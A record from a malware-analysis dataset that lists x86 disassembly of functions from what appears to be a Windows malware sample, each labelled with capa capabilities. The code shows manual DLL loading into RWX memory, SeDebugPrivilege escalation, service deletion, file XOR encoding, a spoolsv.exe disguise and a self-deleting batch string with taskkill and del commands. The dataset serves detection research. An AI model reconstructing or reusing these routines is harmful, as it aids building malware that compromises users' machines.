joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402729
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
lea esi, [ecx + 0x20]
push 0x104
push edi
push esi
mov dword [ebp - 0xc], ecx
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
push esi
call sub.MSVCRT.dll_strcpy
add esp, 0x14
push edi
push 0x80
push 3
push edi
push 1
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402775
xor eax, eax
jmp 0x4027ed
lea eax, [ebp - 4]
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
call ebx
mov edi, eax
add edi, 0xa
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
mov byte [esi], 0x69
mov eax, dword [ebp - 4]
add esp, 0xc
mov dword [esi + 1], eax
mov eax, dword [ebp - 8]
push dword [ebp + 8]
mov dword [esi + 5], eax
call ebx
inc eax
push eax
lea eax, [esi + 9]
push dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0xc]
add esp, 0xc
push edi
push esi
call fcn.004065e8
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret 4

Function at 0x4027f3
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], ecx
cmp dword [edi + 4], 0xffffffff
jne 0x402812
call fcn.004028b6
xor eax, eax
jmp 0x4028af
xor esi, esi
add ecx, 0x20
push esi
push 0x80
push 3
push esi
push 1
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
or eax, 0xffffffff
cmp ebx, eax
je 0x4028af
push esi
push edi
push dword [edi + 4]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [ebp + 8], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push 8
push edi
lea eax, [esi + 1]
mov byte [esi], 0x6a
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp + 8]
push 0
push eax
lea eax, [esi + 9]
push 0x1ff7
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
test eax, eax
jbe 0x40289d
mov ecx, dword [ebp - 4]
add eax, 9
push eax
push esi
call fcn.004065e8
mov dword [ebp - 4], eax
jmp 0x4028a5
mov ecx, dword [ebp - 4]
call fcn.004028b6
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4029b6
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, 0x41009d
call fcn.00406b34
sub esp, 0x468
push ebx
push esi
push 0x104
lea eax, [ebp - 0x370]
push 0
mov ebx, ecx
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [eax + esi - 1], 0x5c
mov dword [ebp - 0x10], 0x4151e4
jne 0x4029ff
mov dword [ebp - 0x10], 0x417758
push dword [ebp - 0x10]
lea eax, [ebp - 0x370]
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push str._s_s.
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x370]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
jne 0x402a3d
xor al, al
jmp 0x402b09
push edi
mov edi, str._s_s_s
cmp byte [ebp - 0x13c], 0x2e
je 0x402ae5
lea eax, [ebp - 0x13c]
test byte [ebp - 0x168], 0x10
push eax
push dword [ebp - 0x10]
push dword [ebp + 8]
push edi
je 0x402a83
lea eax, [ebp - 0x474]
push eax
call esi
add esp, 0x14
lea eax, [ebp - 0x474]
mov ecx, ebx
push eax
call fcn.004029b6
jmp 0x402ae5
lea eax, [ebp - 0x26c]
push eax
call esi
mov al, byte [ebp + 0xb]
add esp, 0x14
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x24], al
push 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x26c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov eax, dword [ebx + 0x14]
lea ecx, [ebx + 0x10]
and dword [ebp - 4], 0
lea edx, [ebp - 0x24]
push edx
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402e77
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x168]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402a43
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x402cd6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
mov edi, ecx
mov eax, dword [esi]
push 0x80
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
push 3
mov dword [ebp + 8], eax
push 0
push 2
lea eax, [edi + 0x20]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
push 4
add dword [ebp + 8], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0x14], 0x70
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + 8]
push 4
push eax
lea eax, [ebp - 0xf]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
lea eax, [ebp - 0x14]
mov ecx, edi
push 9
push eax
call fcn.004065e8
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x402f21
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
and dword [ebp - 4], 0
push ebx
push esi
push edi
push str.GetModuleFileNameA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
and byte [ebp - 0x404], 0
mov edx, eax
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x403]
push 0x400
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x404]
push eax
push 0
call edx
lea eax, [ebp - 0x404]
push 0x4151f8
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
pop ecx
test edi, edi
pop ecx
je 0x402fb4
push 2
push 0xfffffffffffffffc
push edi
call dword [sym.imp.MSVCRT.dll_fseek]
mov esi, dword [sym.imp.MSVCRT.dll_fread]
push edi
push 4
push 1
pop ebx
lea eax, [ebp - 4]
push ebx
push eax
call esi
add esp, 0x1c
cmp dword [ebp - 4], 0
jne 0x402fbb
xor al, al
jmp 0x403058
mov eax, 0xfffffdc8
push 2
sub eax, dword [ebp - 4]
push eax
push edi
call dword [sym.imp.MSVCRT.dll_fseek]
push edi
push 4
push ebx
push 0x4178c0
call esi
push edi
push 4
push ebx
push 0x417898
call esi
push edi
push 4
push ebx
push 0x41789c
call esi
push edi
push 4
push ebx
push 0x4178a0
call esi
add esp, 0x4c
push edi
push 4
push ebx
push 0x4178a4
call esi
push edi
push 4
push ebx
push 0x4178a8
call esi
push edi
push 4
push ebx
push 0x4178ac
call esi
push edi
push 4
push ebx
push 0x4178b0
call esi
add esp, 0x40
push edi
push 4
push ebx
push 0x4178b4
call esi
push edi
push 4
push ebx
push 0x4178b8
call esi
push edi
push 4
push ebx
push 0x4178bc
call esi
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x34
mov al, bl
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40305d
Capabilities:
Encode data using xor
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push 0x41521c
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
mov dword [ebp - 4], eax
test eax, eax
pop ecx
jne 0x40307f
leave
ret
push ebx
mov ebx, dword [ebp + 0x14]
push esi
push ebx
call sub.MFC42.DLL_operatornew
mov esi, eax
pop ecx
test esi, esi
je 0x4030eb
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fseek]
push dword [ebp + 8]
push ebx
push 1
push esi
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x1c
cmp eax, ebx
jne 0x4030e4
xor ecx, ecx
test ebx, ebx
jbe 0x4030d4
mov al, byte [ecx + esi]
mov dl, al
shr dl, 5
shl al, 3
or dl, al
mov al, bl
sub al, cl
xor dl, al
mov byte [ecx + esi], dl
inc ecx
cmp ecx, ebx
jb 0x4030b9
push dword [ebp - 4]
push ebx
push 1
push esi
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
push esi
call sub.MFC42.DLL_operatordelete
pop ecx
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fclose]
push dword [ebp + 0x10]
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 0x18]
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
push str.MoveFileExA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x108]
push 1
push ecx
push dword [ebp + 0x10]
call eax
push 1
pop eax
pop esi
pop ebx
leave
ret

Function at 0x403141
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [esp + 4]
test ecx, ecx
jne 0x40314d
or eax, 0xffffffff
ret
cmp word [ecx], 0x5a4d
jne 0x403163
mov eax, dword [ecx + 0x3c]
add eax, ecx
je 0x403163
cmp dword [eax], 0x4550
je 0x403167
push 0xfffffffffffffffe
pop eax
ret
mov eax, dword [eax + 0x50]
ret

Function at 0x40316b
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x40321b
and dword [ebp + 8], 0
cmp word [ebx], 0x5a4d
jne 0x40321b
mov eax, dword [ebx + 0x3c]
add eax, ebx
je 0x40321b
cmp dword [eax], 0x4550
jne 0x40321b
cmp dword [eax + 0x7c], 0
je 0x40321b
mov eax, dword [eax + 0x78]
test eax, eax
je 0x40321b
mov edx, dword [eax + ebx + 0x18]
mov ecx, dword [eax + ebx + 0x14]
add eax, ebx
mov dword [ebp - 8], edx
test edx, edx
je 0x40321b
test ecx, ecx
je 0x40321b
cmp edx, ecx
jg 0x40321b
mov ecx, dword [eax + 0x20]
mov esi, dword [eax + 0x24]
mov edi, dword [eax + 0x1c]
add ecx, ebx
add esi, ebx
add edi, ebx
test ecx, ecx
je 0x40321b
test esi, esi
je 0x40321b
test edi, edi
je 0x40321b
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
add eax, ebx
je 0x4031fc
push dword [ebp + 0xc]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x40320d
inc dword [ebp + 8]
add dword [ebp - 4], 4
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 8]
jge 0x40321b
jmp 0x4031e4
mov eax, dword [ebp + 8]
movzx eax, word [esi + eax*2]
mov eax, dword [edi + eax*4]
add eax, ebx
jmp 0x40321d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403222
Capabilities:
Allocate or change rwx memory
Delete file
Execute shellcode via indirect call

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push ebp
call fcn.00403141
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
pop ecx
mov esi, eax
push 0x40
push 0x1000
push esi
push 0
call edi
mov ebx, eax
test ebx, ebx
je 0x4032cd
push esi
push 0
push ebx
call sub.MSVCRT.dll_memset
push esi
push ebp
push ebx
call sub.MSVCRT.dll_memcpy
add esp, 0x18
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x40
push 0x2000
push esi
push ebp
call edi
push 0x40
push 0x1000
push esi
push ebp
call edi
mov edi, eax
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
push esi
push ebx
push edi
call sub.MSVCRT.dll_memcpy
add esp, 0x18
push 0x4000
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call esi
push 0x8000
push 0
push ebx
call esi
push str.DllInit
push edi
call fcn.0040316b
pop ecx
mov dword [0x417894], eax
test eax, eax
pop ecx
jne 0x4032d6
xor eax, eax
jmp 0x4032e4
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x4032c9
call eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x403b50
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
mov esi, str.SOFTWAREMicrosoft
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 4]
movsw word es:[edi], word [esi]
push eax
lea eax, [ebp - 0x18]
push eax
push connect
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
pop edi
pop esi
test eax, eax
jne 0x403ba8
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 0xc]
push 1
push 0
push 0x415340
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x403c99
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x9e50], ebx
mov dword [esi], 0x41156c
jbe 0x403cd3
push edi
lea edi, [esi + 0x210]
push 0xffffffffffffffff
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
add edi, 4
cmp ebx, dword [esi + 0x9e50]
jb 0x403cb4
pop edi
mov ecx, esi
call fcn.004065d5
pop esi
pop ebx
ret

Function at 0x403e2f
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x403ebe
push 0xf01ff
push dword [ebp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x403e6a
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x403ebe
lea eax, [ebp - 0x1c]
push esi
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x18], 1
mov esi, dword [sym.imp.MSVCRT.dll_printf]
je 0x403e97
push str.Stopping_se2rvice..._n
call esi
pop ecx
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x403ea9
push str.Service_removed_n
jmp 0x403eae
push str.DeleteService_failed
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop ecx
push edi
call esi
push ebx
call esi
pop esi
pop edi
pop ebx
leave
ret 4
Function at 0x403f12
Capabilities:
Check os version
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push edi
xor edi, edi
push 0x94
lea eax, [ebp - 0xa4]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xa4]
mov dword [ebp - 0xa4], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x403fb5
cmp dword [ebp - 0xa0], 5
jbe 0x403fb5
push 4
mov dword [ebp - 4], edi
pop eax
mov dword [ebp - 8], edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push edi
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403fb5
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push edi
push str.EnableLUA
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403fac
cmp dword [ebp - 8], 1
sete al
mov edi, eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
leave
ret
Function at 0x4040b7
Capabilities:
Create process on windows
Get common file path
Get startup folder
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
push ebx
push esi
push edi
mov ebx, ecx
call fcn.00403ec4
mov esi, 0x4153ac
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp eax, 1
movsd dword es:[edi], dword [esi]
jne 0x4040e5
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
call fcn.00403e2f
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x41f]
mov byte [ebp - 0x420], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.GetModuleFileNameA
push str.kernel32.dll
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x104
lea eax, [ebp - 0x420]
push esi
push eax
push str._temp__spoolsv.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
call fcn.00404059
push 0x40
mov edx, eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
mov byte [ebp - 0x114], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
cmp edx, 1
stosb byte es:[edi], al
jne 0x404184
push ebx
lea eax, [ebp - 0x114]
push 7
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x114]
push 0x4151e4
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push 0x415464
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x217]
mov byte [ebp - 0x218], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x218]
push eax
push esi
call dword [0x417760]
lea eax, [ebp - 0x218]
push str.a.bat
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x218]
push 0x415458
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0x10
mov dword [ebp - 4], eax
xor eax, eax
lea edi, [ebp - 0x31b]
push 0x40
mov byte [ebp - 0x31c], bl
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x31c]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x31c]
push eax
push str._echo_off_n_rtaskkill__f__im_spoolsv.exe_n_rdel___s__n_rdel___s__n_r
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fprintf]
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
lea eax, [ebp - 0x218]
push ebx
push ebx
push ebx
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404920
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push ebx
push esi
push edi
xor ebx, ebx
push dword [ebp + 0x10]
push ebx
push dword [ebp + 0xc]
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push str._computername_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov esi, str.SOFTWAREMicrosoft
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 4]
push eax
push 1
movsb byte es:[edi], byte [esi]
pop esi
lea eax, [ebp - 0x20]
push esi
push ebx
push eax
push connect
call dword [0x418460]
test eax, eax
jne 0x4049df
mov eax, 0xff
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], eax
push eax
lea eax, [ebp - 0x120]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 8]
push eax
push ebx
push 0x415340
push dword [ebp - 4]
call dword [0x418458]
test eax, eax
jne 0x4049d6
push dword [ebp + 0x10]
push ebx
push dword [ebp + 0xc]
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4049ed
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f4
and byte [ebp - 0x1a], 0
lea eax, [ebp - 0xf0]
push esi
push eax
mov byte [ebp - 0xf4], 0x66
mov dword [ebp - 0xf0], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x1f4]
push 0x100
push eax
push dword [ebp + 8]
call fcn.00404920
push 0x10
lea eax, [ebp - 0x14]
pop esi
push esi
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
mov esi, dword [ebp + 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x10]
push 4
push eax
lea eax, [ebp - 0x50]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x1f4]
push 0x32
push eax
lea eax, [ebp - 0x4c]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
call fcn.0040489e
mov dword [ebp - 0x54], eax
call fcn.004048eb
mov byte [ebp - 0x1a], al
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0xf4]
push 0xe0
push eax
mov ecx, esi
call fcn.00401b73
pop esi
leave
ret
Function at 0x404c70
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
lea eax, [ebp - 4]
push edi
xor esi, esi
push eax
push 0xf01ff
xor edi, edi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x404cdb
lea eax, [ebp - 0xc]
push eax
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x404cdb
mov eax, dword [ebp - 0xc]
push esi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push esi
lea eax, [ebp - 0x1c]
push 0x10
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov edi, eax
cmp dword [ebp - 4], esi
je 0x404ce9
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x404cef
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
and dword [ebp - 0x128], 0
push ebx
push edi
push 0x49
pop ecx
xor eax, eax
lea edi, [ebp - 0x124]
push eax
rep stosd dword es:[edi], eax
push 2
or ebx, 0xffffffff
call dword [0x418424]
mov edi, eax
cmp edi, ebx
jne 0x404d24
mov eax, ebx
jmp 0x404d83
lea eax, [ebp - 0x128]
push esi
push eax
push edi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x404d79
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea eax, [ebp - 0x104]
push eax
call esi
test eax, eax
je 0x404d73
lea eax, [ebp - 0x128]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x404d79
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
jmp 0x404d50
mov ebx, dword [ebp - 0x120]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop esi
pop edi
pop ebx
leave
ret